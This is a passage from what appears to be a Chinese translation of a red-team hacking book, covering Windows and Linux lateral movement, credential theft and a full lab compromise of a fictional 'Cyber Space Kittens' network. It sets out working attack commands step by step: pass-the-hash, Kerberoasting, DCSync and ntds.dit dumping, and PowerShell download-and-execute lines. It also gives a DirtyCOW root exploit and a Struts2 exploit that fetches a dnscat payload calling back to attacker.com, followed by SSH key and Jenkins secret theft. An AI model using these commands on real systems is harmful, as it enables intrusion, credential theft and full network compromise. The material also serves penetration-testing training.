set Listener http
连接到远程主机并执行恶意程序:
execute
和新的 agent 交互:
agents
interact
sysinfo
利用 DCOM 的横向移动
有许多方法可以在主机上进行单次横向移动。如果泄露的帐户具有访问权限,或者你能够使用捕获的凭据创建令牌,
我们可以使用 WMI、PowerShell 远程命令执行或 PSExec 生成不同的 shell。如果这些执行命令的方法受到监控怎么
办?我们通过使用分布式组件对象模型(DCOM)实现一些很酷的 Windows 功能。DCOM 是用于在不同远程计算机
上的软件组件之间通信的 Windows 功能。
你可以使用 Powershell 命令列出计算机的所有 DCOM 应用程序:GetCimInstance Win32_DCOMApplication
安全研究员 @enigam0x3 的研究发现( https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-
2/ ),有多个对象(例如 ShellBrowserWindow 和 ShellWindows )允许在受害者主机上远程执行代码。当列出所
有 DCOM 应用程序(如上图所示)时,你将看到一个 CLSI 为 C08AFD90-F2A1-11D1-845500A0C91F3880 的
ShellBrowserWindow 对象。识别出该对象后,只要我们的帐户有权访问,我们就可以利用此功能在远程工作站上执
行二进制文件。
powershell
$([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455-
00A0C91F3880”,“buzz.cyberspacekittens.local”))).Navigate(“c:\windows\system32\calc.exe”)
这将只在系统本地执行文件,并且我们不能将任何命令行参数包含到可执行文件中(因此不能使用 cmd /k 类型的攻
击)。相反,我们可以从远程系统调用文件并执行它们,但请注意,用户将收到警告的弹窗。在本例中,我目前在一
个受害者的主机 neil.cyberspacekittens.local 上,该主机可以管理访问一个名为 buzz 的远程工作站。我们将在 Neil
的工作站上共享一个文件夹,并托管我们的 payload。接下来,我们可以调用 DCOM 对象在远程受害者(buzz)计
算机上执行托管的 payload。
$([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455-
00A0C91F3880”,“buzz.cyberspacekittens.local”))).Navigate(“\neil.cyberspacekittens.local\Public\adobeupdate
.exe”)
正如你在下一张图片中看到的,Buzz 的计算机上出现了一个关于运行 adobeupdate.exe 文件的弹出窗口。虽然大多
数用户都会点击并运行这个,但它可能会让我们被目标察觉。
因此,避免这个问题的更好方法是在使用 DCOM 执行该文件之前将该文件移到上面(类似于装载受害者的驱动
器)。@Enigam0x3对此做得更进一步,并利用 Excel 宏来使用 DCOM。首先,我们需要在自己的系统上创建恶意
Excel 文档,然后使用 PowerShell 脚本在受害者主机上执行此.xls 文件。
需要注意的一点是,有许多其他的 DCOM 对象可以从系统中获取信息,可能会启动或停止服务等等。这无疑为进一
步研究 DCOM 功能提供了很好的起点。
参考文献:
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
https://www.cybereason.com/blog/dcom-lateral-movement-techniques
Pass-the-Hash
过去传递本地管理帐户 Pass-The-Hash(PTH)的方法在很大程度上已经开始消失。虽然还没有完全消失,但让我们
快速回顾一下。PTH 攻击利用 Windows NTLM 哈希对系统进行身份验证,而不是使用用户的凭据。这是很重要的一
点,首先,使用 Mimikatz 这样的工具可以很容易地恢复哈希,可以为本地帐户提取哈希(但需要本地管理员权
限),可以从转储域控制器(不是明文密码)中恢复哈希(DCsync)等等。
PTH 最基本的用途是攻击本地管理员。由于默认情况下本地管理员帐户已被禁用,并且出现了更新的安全功能,例如
本地管理员密码解决方案(LAPS),为每个工作站创建随机密码,因此通常很少使用上述这种方法。过去,在一个
工作站上获取本地管理帐户的哈希值在整个组织中是可以用相同的方法实现的,这意味着一个易受攻击的方案会使整
个公司破产。
当然,这要求你必须是系统上的本地管理员,启用本地管理员帐户“administrator”,并且它是 RID 500帐户(意味着
它必须是原始管理员帐户,不能是新创建的本地管理员帐户)。
执行命令: shell net user administrator
User name Administrator
Full Name
Comment Built-in account for administering the computer/domain
User’s comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
如果我们看到帐户处于活动状态,我们可以尝试从本地计算机中提取所有哈希值。请记住,这不会包括任何域账户哈
希:
Empire Module: powershell/credentials/powerdump
Metasploit Module: http://bit.ly/2qzsyDI
例如:
(Empire: powershell/credentials/powerdump) > execute
Job started: 93Z8PE
输出:
Administrator:500:
aad3b435b51404eeaad3b435b51404ee:3710b46790763e07ab0d2b6cfc4470c1:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
我们可以使用 Empire(credentials/mimikatz/pth)或者启动可信任的 psexec,提交我们的哈希,并执行我们的自
定义 payload,如下图所示:
如前所述,这是一种现在少见的古老的横向移动方式。如果你仍在考虑利用本地管理员帐户,但所处的环境有
LAPS(本地管理员密码解决方案),你可以使用几个不同的将它们从 Active Directory 中转储出的工具。这假设你已
经拥有一个域管理员或 Helpdesk 类型帐户的权限:
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credential
s/enum_laps.rb
ldapsearch -x -h 10.100.100.200 -D “elon.muskkat” -w password -b “dc=cyberspacekittens,dc=local”
“(ms-MCS-AdmPwd=*)” ms-MCSAdmPwd [https://room362.com/post/2017/dump-laps-passwords-with-ld
apsearch/]
这是保持横向移动而不注销 Helpdesk 用户帐户的好方法。
从服务帐户获取凭据
如果你发现自己处于一个用户权限受限、无法从内存中提取密码、主机系统上没有密码的情况下,该怎么办...接下来
该怎么办?好吧,我最喜欢的攻击之一是 Kerberoasting。
我们都知道 NTLM 存在缺陷,这是由于单向哈希(不含盐)、重放攻击和其他传统问题造成的,这也是许多公司转
向采用 Kerberos 的原因。如我们所知,Kerberos 是一种安全的方法,用于对计算机网络中的服务请求进行身份验
证。我们不会深入研究 Windows 中的 Kerberos 实现。但是,你应该知道域控制器通常充当票据授予的服务器;网
络上的用户可以请求票据授予服务器以获取资源访问权的凭证。
什么是最严重的攻击?作为攻击者,我们可以掌握我们之前提取的目标服务帐户的任何 SPN 请求 Kerberos 服务票
证。漏洞在于,当从域控制器请求服务票据时,该票证使用关联的服务用户的 NTLM 哈希加密。由于任何用户都可
以请求任何票据,这意味着,如果我们可以猜测关联服务用户的 NTLM 哈希(加密票据的)的密码,那么我们现在
就知道实际服务帐户的密码。这听起来可能有点令人困惑,所以让我们来看一个例子。
与以前类似,我们可以列出所有的SPN服务。这些是我们将为其提取所有 Kerberos 票据的服务帐户:
setspn -T cyberspacekittens.local -F -Q /
我们可以将单个用户的 SPN 作为目标,也可以将所有用户的 Kerberos 票据拉入用户的内存中:
针对单个用户:
powershell Add-Type -AssemblyName System.IdentityModel;New-Object
System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “HTTP/CSK-
GITHUB.cyberspacekittens.local”
将所有用户票据拖到内存中
powershell Add-Type -AssemblyName System.IdentityModel;IEX (New-Object
Net.WebClient).DownloadString(“ https://raw.githubusercontent.com/nidem/kerberoast/master/Get
UserSPNs.ps1 ”) | ForEach-Object {try{New-
ObjectSystem.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList
$_.ServicePrincipalName}catch{}}
当然,你也可以使用 powersploit 执行此操作:
https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/
如果成功的话,我们已经将一个或多个不同的 Kerberos 票证导入到受害者计算机的内存中。我们现在需要一种方法
来提取票据。我们可以使用好工具 Mimikatz Kerberos 导出:
powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/2qx4kuH’);
Invoke-Mimikatz -Command ’”““kerberos::list /export”””’
一旦我们导出这些票证,它们将仍会驻留在受害者的机器上。在我们开始破解它们之前,我们必须从它们的系统中下
载它们。请记住,票据是用服务帐户的 NTLM 哈希加密的。所以,如果我们能猜到 NTLM 哈希,我们就可以读取票
据,现在也知道服务帐户的密码。破解账户最简单的方法是使用一个名为 tgsrepcrack 的工具(JTR 和 Hashcat 也支
持破解 Kerberoast,稍后我们将讨论)。使用 Kerberoast 破解票证:
使用 Kerberoast 来破解票据:
cd /opt/kerberoast
python tgsrepcrack.py [password wordlist ][kirbi ticketss - *.kirbi]
在这个例子中,服务帐户 csk-github 的密码是“p@ssw0rd!”
当然,Empire 有一个 PowerShell 模块为我们做所有需要做的事情。它位于
powershell/credentials/invoke_kerberoast 目录下( https://github.com/EmpireProject/Empire/blob/master/da
ta/module_source/credentials/Invoke-Kerberoast.ps1 )。
你可以用 John the Ripper 甚至 Hashcat 来破解密码并输出结果。我以前在非常大的网络环境中运行 PowerShell 脚
本时遇到过一些问题,因此,退一步的方法是使用 PowerShell 和 Mimikatz 将所有的票据都获取下来。
转储域控制器哈希
一旦我们获得了域管理访问权,从 DC 中提取所有哈希的老方法就是在域控制器上运行命令,并使用 Shadow
Volume 或原始拷贝技术提取 ntds.dit 文件。
回顾磁盘卷影复制技术
由于我们确实可以访问文件系统,并且可以作为攻击者在域控制器上运行命令,因此我们希望获取存储在 ntds.dit 文
件中的所有域内哈希。不幸的是,该文件不断地被读和写,即使作为系统,我们也无法读取或复制该文件。幸运的
是,我们可以利用名为 Volume Shadow Copy Service 磁盘复制服务(VSS)的 Windows 功能,该功能将创建磁盘
的快照副本。然后我们可以从该副本中读取 Ntds.dit 文件将其获取出来。并将其从计算机上取消,这包括窃取
Ntds.dit、System、SAM 和 Boot Key 文件。最后,我们需要清理我们的行踪并删除磁盘拷贝:
C:\vssadmin create shadow /for=C:
copy \?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SYSTEM.
copy \?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SAM.
reg SAVE HKLM\SYSTEM c:\SYS
vssadmin delete shadows /for= [/oldest | /all | /shadow=]
NinjaCopy
Ninjacopy 是另一个工具,一旦我们在域控制器上,就可以用来获取 Ntds.dit 文件。Ninjacopy “通过读取原始磁盘
卷并分析 NTFS 结构,从 NTFS 分区磁盘复制文件。这将绕过文件 DACL(任意访问控制列表)、读取句柄锁和
SACL(系统访问控制列表)。但你必须是管理员才能运行这个脚本。这可用于读取通常锁定的系统文件,如
NTDS.dit 文件或注册表配置单元。”[http://bit.ly/2HpvKwj]
Invoke-NinjaCopy -Path “c:\windows\ntds\ntds.dit” -LocalDestination “c:\windows\temp\ntds.dit
DCSync
现在,我们已经回顾了从 DC 提取哈希的老方法,这些方法要求你在 DC 上运行系统命令,并且通常需要在该计算机
上删除一些文件,让我们继续讨论新方法。最近,由 Benjamindelpy 和 Vincent Le Toux 编写的 DCSync 引入并改
变了从域控制器转储哈希的玩法。DCSync 的概念是它模拟域控制器来请求该域中用户的所有哈希。这意味着,只要
你有权限,就不需要运行任何域控制器上的命令,也不必删除 DC 上的任何文件。
但是要使 DCSync 工作,必须具有从域控制器中提取哈希的适当权限。通常是限于域管理员、企业管理员、域控制器
用户组以及将复制更改权限设置为允许(即复制所有更改和复制目录更改)的任何人,DCSync 将允许你的用户执行
此攻击。这种攻击最初是在 Mimikatz 开发的,可以使用以下命令运行:
Lsadump::dcsync /domain:[YOUR DOMAIN] /user:[Account_to_Pull_Hashes]
更好的是,DCSync 被引入了 PowerShell Empire 这样的工具,以使其更容易实现。
Empire 模块:powershell/credentials/mimikatz/dcsync_hashdump
查看 DCSync hashdump,我们可以看到 Active Directory 中用户的所有 NTLM 哈希。此外,我们还有 krbtgt
NTLM 哈希,这意味着我们现在(或在未来的活动中)可以执行 Golden Ticket attacks(黄金票据攻击)。
利用 VPS 在内网进行 RDP 横向移动
在当今世界,有了大量的新一代杀毒软件,在计算机之间横向运行 WMI/PowerShell Remoting/PSExec 并不总是最
好的选择。我们还看到一些组织系统正在记录所有发生的 Windows 命令提示。为了解决这一切,我们有时需要回到
基本的横向运动。使用 VPS 服务器的问题是,它只是一个没有 GUI 接口的 shell。因此,我们将配置路由和代理转发
来自攻击者主机的流量,通过 VPS,然后再到被攻陷的主机,最后横向移动到下一个受害者。幸运的是,我们可以使
用大部分本地工具完成任务。
首先,我们需要设置一个 VPS 服务器,启用开放到公网的多个端口,用 PTF 配置 Metasploit,并用 Meterpreter 攻
陷最初的受害者。我们也可以用 Cobalt Strike 或其他框架来实现这一点,但在本例中我们将使用 Meterpreter。
我们可以利用默认的 SSH 客户机,使用本地端口转发(-L)。在这个场景中,我使用的是 Mac,但这也可以在
Windows 或 Linux 系统上完成。我们将使用 SSH 密钥通过 SSH 连接到我们的 VPS。我们还将在攻击者机器上配置
本地端口,在本例中是3389(RDP),以将任何发送到该端口的流量转发到我们的 VPS。当该端口上的流量转发到
我们的 VPS 时,它会将该流量发送到 VPS 上 3389 端口上的本地主机。最后,我们需要在 3389 端口上设置一个监听
我们的 VPS 的端口,并使用 Meterpreter 的端口转发功能通过被攻陷的受害机器设置一个端口转发,以能连接到受
害者的系统。
1. 用 Meterpreter payload 攻击受害者
2. 在我们的机器上开启 SSH,并在我们的攻击者系统上设置本地端口转发(本地监听端口3389),以将针对该端
口的所有流量发送到 3389 上的 VPS 本地主机端口。
ssh -i key.pem ubuntu@[VPS IP] -L 127.0.0.1:3389:127.0.0.1:3389
3. 在 Meterpreter 会话上设置一个前置端口以监听端口3389上的 VPS,并通过被攻陷的机器将该流量发送到下一
个要横向移动到的服务器。
portfwd add -l 3389 -p 3389 -r [Victim via RDP IP Address]
4. 在我们的攻击者机器上,打开我们的 Microsoft 远程桌面客户端,将你的连接设置为你自己的本地主机
-127.0.0.1,然后输入受害者的凭据以通过 RDP 进行连接。
在 Linux 中横向移动
在 Linux 中的操作多年来变化不大。通常,如果你使用的是 dnscat2 或 Meterpreter,它们都支持自己的转发。
dnscat2:
listen 127.0.0.1:9999 <target_IP>:22
Metasploit
post/windows/manage/autoroute
Metasploit Socks Proxy + Proxychains
use auxiliary/server/socks4a
Meterpreter:
portfwd add –l 3389 –p 3389 –r <target_IP>
如果你幸运地获得了一个 SSH shell,那么我们可以通过该系统进行渗透。我们如何获得 SSH shell 呢?在许多情况
下,一旦我们可以实现本地文件包含(LFI)或远程代码执行(RCE),我们可以尝试权限升级以读取 /etc/shadow
文件(和密码破解),或者我们可以利用一些 Mimimikatz 风格的方法。
与 Windows 和 Mimikatz 一样,Linux 系统也有同样的问题,密码以明文形式存储。@huntergregal 编写的工具可
以转储特定进程,这些进程很可能以明文形式包含用户的密码。尽管迄今为止,这只适用于有限版本的 Linux 系统,
但这个相同的概念可以在整个系统中使用。你可以在这里准确地看到哪些系统以及从何处获取密码:
https://github.com/huntergregal/mimipenguin
一旦我们在被入侵的主机上获得了凭证,并且可以通过 SSH 反弹 shell,我们就可以通过这个隧道传输流量,并在机
器之间进行数据隐藏。在 SSH 中,有一些很好的特性可以让我们执行这个操作过程:
设置动态 Sock Proxy 以使用 proxychains 通过主机隐藏我们的所有流量:
ssh -D 127.0.0.1:8888 -p 22 @ <Target_IP>
单个端口的基本端口转发:
ssh @<Target_IP> -L 127.0.0.1:55555:<Target_to_Pivot_to>:80
通过 SSH 的 VPN。这是一个非常棒的特性,使得可以通过 SSH 隧道隐蔽传输第3层网络流量。
https://artkond.com/2017/03/23/pivoting-guide/#vpn-over-ssh
Linux 提权
Linux 权限提升在很大程度上与 Windows 类似。我们寻找可以写入的易受攻击的服务、那些棘手的错误配置、平面
文件中的密码、所有的可写文件、计划任务,当然还有修补问题。
在有效和高效地分析 Linux 系统中的权限提升问题方面,我们可以使用一些工具来为我们完成所有的工作。
在我们进行任何类型的权限提升攻击之前,我首先要在 Linux 主机上进行一个良好的信息收集工作,并识别所有关于
系统的信息。这包括用户、服务、定时任务、软件版本、弱信任对象、错误配置的文件权限,甚至是 Docker 信息。
我们可以使用一个名为 LinEnum 的工具来为我们完成所有的累活( https://github.com/rebootuser/linenum )。
这是一个非常长的报告,内容是你可能想要了解的关于底层系统的所有信息,这对于未来的活动来说是非常好的。
一旦我们获得了关于系统的信息,我们就会试图看看我们是否能够利用这些漏洞中的任何一个。如果我们找不到任何
可用的漏洞或服务、计划任务中的错误配置,我们将直接在系统或应用程序上进行攻击。我试着最后做这些,因为总
是有一个潜在的可能性可以直接使系统挂掉。
我们可以运行一个名为 linux-exploit-suggester 的工具来分析主机系统并识别缺失的补丁和漏洞。一旦识别出漏洞,
该工具还将向你提供可用 PoC 漏洞的链接。
现在,我们要利用什么呢?这就是经验和实践真正发挥作用的地方。在我的实验中,我将配置大量不同的 Linux 版
本,以验证这些漏洞攻击不会使底层系统崩溃。在这个场景中,我最喜欢的一个漏洞是 DirtyCOW。
DirtyCOW 的工作原理是“在Linux内核的内存子系统处理写访问时只读私有映射 COW 情况中断的方式中发现了竞争
条件。非特权本地用户可以使用此缺陷获取对其他只读内存映射的写访问权限,从而增加他们在系统上的权限。”[htt
ps://dirtycow.ninja/]
简而言之,此漏洞允许攻击者通过内核漏洞从非特权用户转到 root 权限。这是我们能想到的的最佳权限提升的方
法!但有一个问题是它会导致一些内核崩溃,所以我们必须确保在正确的 Linux 内核上使用正确的版本。
在 Ubuntu 上测试 DirtyCOW (ubuntu 14.04.1 LTS 3.13.0-32-generic x86_64):
下载 DirtyCOW payload
wget http://bit.ly/2vdh2Ub -O dirtycow-mem.c
编译 DirtyCOW payload
gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
运行 DirtyCOW 以访问系统
./dirtycow-mem
关闭定期写回以使漏洞稳定
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
Try reading the shadow file
cat /etc/shadow
Linux 横向移动实验
横向移动的问题是,没有一个设置起点逐步深入的环境很难练习。因此,我们向你介绍了 CSK 网络安全实验。在这
个实验中,你将在不同的设备之间进行切换,使用最近的漏洞攻击和权限提升攻击,并利用 Linux 环境中本身存在的
应用程序进行攻击。
设置虚拟环境
这个虚拟实验环境的设置有些复杂。这是因为网络需要三个不同的静态虚拟机才能运行,并且你需要事先进行一些设
置。所有这些都在 VMware Workstation 和 VMware Fusion 中进行了测试,因此如果你使用的是 VirtualBox,那么
你可能需要对它进行适当的调整。
下载三台虚拟机:
http://thehackerplaybook.com/get.php?type=csk-lab
虽然你不需要这些系统的 root 帐户,但 hacker/changeme 是用户名/密码,尽量不要更改。
所有三台虚拟机都配置为使用 NAT 网络接口。要使该实验环境正常工作,你必须在 VMware 中配置虚拟机的 NAT 设
置,才能使用172.16.250.0/24网络。要在 Windows VMware Workstation 中执行此操作,请执行以下操作:
在开始菜单,依次点击 编辑 -> 虚拟网络编辑器 -> 更改设置
选择需要设置 NAT 类型的界面(我这里设置的是 VMnet8)
修改子网 IP 为 172.16.250.0 ,并点击 应用
在 OSX 中,操作更复杂。你需要:
复制原始的 dhcpd.conf 作为备份
sudo cp /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf/Library/Preferences/VMware\
Fusion/vmnet8/dhcpd.conf.bakup
编辑 dhcpd.conf 文件以使用172.16.250.x 而不是192.168.x.x
sudo vi /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf
编辑 nat.conf 以使用正确的网关
sudo vi /Library/Preferences/VMware\ Fusion/vmnet8/nat.conf
#NAT gateway address
ip = 172.16.250.2
netmask = 255.255.255.0
重新启动服务:
sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh --stop
sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh --start
现在,你应该能够在 NAT 模式下启动 THP Kali VM,并在172.16.250.0/24范围内获得一个 DHCP 分配的 IP。如果你
这样做了,就同时启动所有其他三个实验虚拟机,然后开始黑客攻击吧。
攻击 CSK 安全网络
最后,你已经从 Windows 环境转到了安全生产环境网络中。从你所有的侦察和研究中,你知道所有的秘密都存储在
这里。这是他们保护最严密的网络之一,我们知道他们已经分步部署了他们的安全基础设施。从他们的文档来看,似
乎有多个 VLAN 需要进行入侵,而且你似乎需要在各个系统之间切换才能访问核心数据库。这就是你发起这次攻击的
目的......
以安全网络区域的外部为中心,可以看到为此环境配置的网络范围位于172.16.250.0/24网络中。由于你对这个网络
不太了解,你可以先进行一些非常简单的 nmap 扫描。你需要确定哪些系统可以从网络外部访问,以确定如何启动
攻击。
扫描网络:
nmap 172.16.50.0/24
你注意到有三个设备正在运行,但只有一个设备启用了 Web 端口。看起来其他两个设备与安全网络之外是隔离的,
这意味着我们必须首先入侵172.16.250.10设备才能转到其他两个服务器。访问第一个系统(172.16.250.10),你会
看到 Apache Tomcat 正在监听端口8080,而一些 OpenCMS 在端口80上。运行 web fuzzer 时,你会注意到
OpenCMS 页面也在运行 Apache Struts2(或者是 struts2 showcase)。你的脑海立马想到了Equifax 数据泄露事
件中黑客的攻击手法。你喜出望外,太好了,但你还是要检查一下。在 msfconsole 上运行一个快速搜索并测试漏洞
struts2_content_type_ognl 。
我们知道,CSK 会严格监控受保护的网络流量,其内部服务器可能不允许直接访问公司网络。为了解决这个问题,我
们必须使用我们的 DNS C2 payload 和 dnscat2 来通过 UDP 而不是 TCP 进行通信。当然,在真实操作中,我们可能
会使用权威的 DNS 服务器,但仅针对本地测试的话,我们将配置自己的 DNS 服务器。
[本书的 Kali 机器]
本书的定制 Kali 虚拟机应该拥有执行攻击的所有工具。
我们需要在 Web 服务器上放上我们的 payload,这样我们就可以让我们的 metasploit payload 抓取 dnscat 恶
意软件。在 dnscat2 客户机文件夹中是 dnscat 二进制文件。
cd /opt/dnscat2/client/
python -m SimpleHTTPServer 80
启动 dnscat 服务器
cd /opt/dnscat2/server/
ruby ./dnscat2.rb
为 dnscat 记录你的密钥
打开新终端并加载 Metasploit
msfconsole
搜索 struts2并加载 struts2漏洞
search struts2
use exploit/multi/http/struts2_content_type_ognl
配置 struts2漏洞以获取我们的 dnscat payload 并在受害者服务器上执行。确保在前面更新你的 IP 和密钥。
set RHOST 172.16.250.10
set RPORT 80
set TARGETURI struts2-showcase/showcase.action
set PAYLOAD cmd/unix/generic
set CMD wget http://<your_ip>/dnscat -O /tmp/dnscat && chmod+x /tmp/dnscat && /tmp/dnscat --
dns server=attacker.com,port=53 --secret=
run
一旦 payload 执行,你将不会在 Metasploit 中得到任何确认,因为我们使用了 dnscat 的 payload。你需要检
查你的 dnscat 服务器是否有任何使用 DNS 流量的连接。
回到 dnscat2服务器上,检查新执行的 payload 并创建一个 shell 终端。
与第一个 payload 进行交互
window -i 1
生成 shell 进程
shell
用键盘按钮返回主菜单
ctrl + z
与新 shell 进行交互
window -i 2
键入 shell 命令
ls
你已经入侵了 OpenCMS/Apache Struts 服务器!现在要做什么?你需要花一些时间检查服务器并寻找有趣的信息。
你想起来服务器正在运行 OpenCMS Web 应用程序,并确定该应用程序是在 /opt/tomcat/webapps/kittens 下配置
的。在查看 OpenCMS 属性的配置文件时,我们发现数据库、用户名、密码和 IP 地址为 172.16.250.10。
检索数据库信息:
cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties
我们成功连接到数据库了,但看不到太多信息。这是因为我们目前是一个有限的 Tomcat 用户,这确实阻碍了我们的
攻击。因此,我们需要找到一种提权的方法。在服务器上运行 post exploitation reconnaissance(uname -a &&
lsb_release -a),你可以识别出这是一个非常旧的 Ubuntu 版本。幸运的是,此服务器容易受到权限提升漏洞
DirtyCOW 的攻击。让我们创建一个 DirtyCOW 二进制文件并转到根目录!
Escalation 提升 dnscat 权限:
下载并编译目录:
cd /tmp
wget http://bit.ly/2vdh2Ub -O dirtycow-mem.c
gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
./dirtycow-mem
尝试保持 DirtyCOW 漏洞利用的稳定性,并允许内核崩溃时重新启动。
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 >
/proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi &&
echo 1 > /proc/sys/kernel/panic_on_warn
whoami
注意:DirtyCOW 不是一个非常稳定的提权方法。如果你对漏洞利用过程有问题,请查看我的 Github 页面,在这里
了解创建 setuid 二进制文件的更稳定的过程:
https://raw.githubusercontent.com/cheetz/dirtycow/master/THP-Lab
如果仍然有问题,另一个选项是通过 SSH 登录到初始服务器,并以 root 身份执行 dnscat payload。要登录,
请使用凭据 hacker/changeme 登录系统并使用 sudo-su 获得 root 权限。
现在,由于主机系统上没有补丁,你已经成为系统的 root 用户。当你再次开始为敏感信息翻阅系统文件时,你会看
到 root 的 bash 历史文件。在这个文件中,你可以找到 SSH 命令和私有 SSH 密钥来源。我们可以使用此 SSH 密钥
并登录到第二个系统172.16.250.30:
cat ~/.bash_history
head ~/.ssh/id_rsa
ssh -i ~/.ssh/id_rsa [email protected]
你花了一些时间在第二个系统上,试着理解它的用途。在四处搜索时,你注意到在 /home 目录中有一个 Jenkins 用
户,它引导你识别在端口8080上运行的 Jenkins 服务。我们如何使用浏览器查看 Jenkins 服务器上的内容?这就是
dnscat 的端口转发功能发挥作用的地方。我们需要退出最初的shell,去命令终端。从那里,我们需要设置一个监听
器,通过 dnscat 将我们的流量从攻击者机器转发到端口8080上的 Jenkins Box(172.16.250.30)。
执行 dnscat 端口转发:
退出现有的 shell
Ctrl + z
返回我们的第一个命令代理并设置一个监听器/端口转发:
window -i 1
listen 127.0.0.1:8080 172.16.250.30:8080
在你的 Kali 虚拟机上,使用我们的端口转发代理打开浏览器并打开下面的地址(这将比 dns 慢一些):
http://127.0.0.1:8080/jenkins
在 Jenkins 应用程序内的凭证管理器内部,我们将看到 db_backup 用户密码已存储,但不可见。 我们需要弄清楚如
何从 Jenkins 中获取此凭据,以便我们可以继续横向移动。
n00py 对 Jenkins 中存储的凭据以及如何提取它们做了一些很好的研究( http://bit.ly/2GUIN9s )。 我们可以使用
现有的 shell 来利用此攻击并获取 credentials.xml,master.key 和 hudson.util.Secret 文件。
返回 dnscat 中的主菜单并与原始 shell 进行交互
Ctrl + z
window -i 2
转到 Jenkins 的主目录并获取三个文件:credentials.xml,master.key 和 hudson.util.Secret。
cd /home/Jenkins
我们可以尝试关闭这些文件,或者我们可以将这些文件作为基础并通过当前的 shell 复制它们。
base64 credentials.xml
base64 secrets/hudson.util.Secret
base64 secrets/master.key
我们可以将 base64输出复制回我们的 Kali 系统并解码它们以破解 db_backup 用户的密码。
cd /opt/jenkins-decrypt
echo “” | base64 —decode > hudson.util.Secret
echo “” | base64 —decode > master.key
echo “” | base64 —decode > credentials.xml
使用 https://github.com/cheetz/jenkins-decrypt 解密密码
python3 ./decrypt.py master.key hudson.util.Secret credentials.xml
我们能够成功解密 db_backup 用户的密码 )uDvra{4UL^;r?*h 。如果我们回顾一下之前的注释,我们会在
OpenCMS 属性文件中看到数据库服务器位于 172.16.250.50。看起来这个 Jenkins 服务器出于某种原因会对数据库
服务器执行某种备份。让我们检查一下我们是否可以获取 db_backup 的凭据:利用 )uDvra{4UL^;r?*h 通过 SSH
登录数据库服务器。唯一的问题是通过我们的 dnscat shell,我们没有直接按标准输入(STDIN)来与 SSH 的密码提
示进行交互。 因此,我们将不得不再次使用我们的端口将我们的 SSH shell 从 Kali 虚拟机通过 dnscat 代理传递到数
据库服务器(172.16.250.50)。
回到命令 shell
Ctrl + z
window -i 1
创建一个新的端口转发,从 localhost 转到172.16.250.50的数据库服务器
listen 127.0.0.1:2222 172.16.250.50:22
一旦使用 db_backup 帐户进入数据库服务器(172.16.250.50),我们会注意到此帐户是 sudoers 文件的一部分,
并且可以 sudo su 到 root。 一旦 root 在数据库服务器上,我们将四处寻找也找不到任何访问数据库的凭据。我们可
以重置 root 数据库密码,但最终可能会破坏其他一些应用程序。相反,我们搜索位于/var/lib/mysql 下的不同数据
库,并发现 cyberspacekittens 数据库。在这里,我们找到 secrets.ibd 文件,其中包含 secrets 表的所有数据。在
我们阅读数据时,我们意识到它可能是加密的...由你来执行剩下的操作...
恭喜!!!你已成功入侵 Cyber Space Kittens 网络!
不要止步于此...你可以用这些系统做很多事情;我们现在只触及了表面。随意在被入侵的系统上翻阅,找到更敏感的
文件,找出其他权限升级的方法,等等。作为参考,在本实验中,环境拓扑如下所示:
本章总结
在本章中,我们经历了入侵网络的一系列操作。 我们开始在外部网络上没有任何凭据或利用社会工程的方式入侵到
我们的第一个受害者系统。从那里开始,我们能够利用目标系统本身的应用程序,获取有关网络和主机系统的信息,
横向移动,权限提升,并最终攻陷整个网络。这一切都是建立在最少程度的扫描,利用网络特性,并试图逃避所有检
测机制之上完成的。
第5章 助攻——社会工程学攻击
译者:@Snowming
开始社会工程学攻击行动
作为红队队员,我们钟爱社会工程学攻击。不仅因为它通常包含低技能攻击,而且因为它也很容易以非常低的成本来
策划一场值得我们高度信赖的战役。只需设置几个假域名、服务器、策划一些电子邮件、假装丢掉一些 bad USB,
然后就可以结束一天的工作了。
译者注: 这里提到的低技能攻击, 原文是 low skillset attacks,我的理解是无需太多技能的攻击,比如踩点、
垃圾收集......
在衡量的指标方面,我们一般用捕捉到的明显的信息,例如发送的电子邮件数量、点击了钓鱼链接的用户数量以及键
入密码的用户数量。我们也试图发挥创意,为雇用我们的公司带来实质性价值。这方面的一个例子是 DefCon 会议举
办的的社会工程学竞赛,在这个竞赛中参赛选手要通过社工的方式来入侵公司和雇员。如果你不熟悉这个竞赛的话,
那我简略地介绍一下:参赛选手们需要在有限的时间内针对目标公司找到一些 flag。通过获取公司信息,如他们的
VPN 、他们使用的杀毒软件类型、员工的特定信息或让员工访问钓鱼 URL 等方法,可以捕获 flag。如果你想查看比
赛中的使用的所有 flag,请查看2017年的比赛报告:http://bit.ly/2HlctvY 。 这些类型的攻击可以通过教导员工学会
发现恶意行动并向相关负责团队报告从而帮助公司提高内部安全意识。
在本章中,我们将粗浅的接触一些用来进行社会工程学攻击的工具和技术。对于社会工程学攻击,没有正确或错误的
答案。只要能发挥作用,在我们的书里就是好的。
近似域名(Doppelganger Domain)
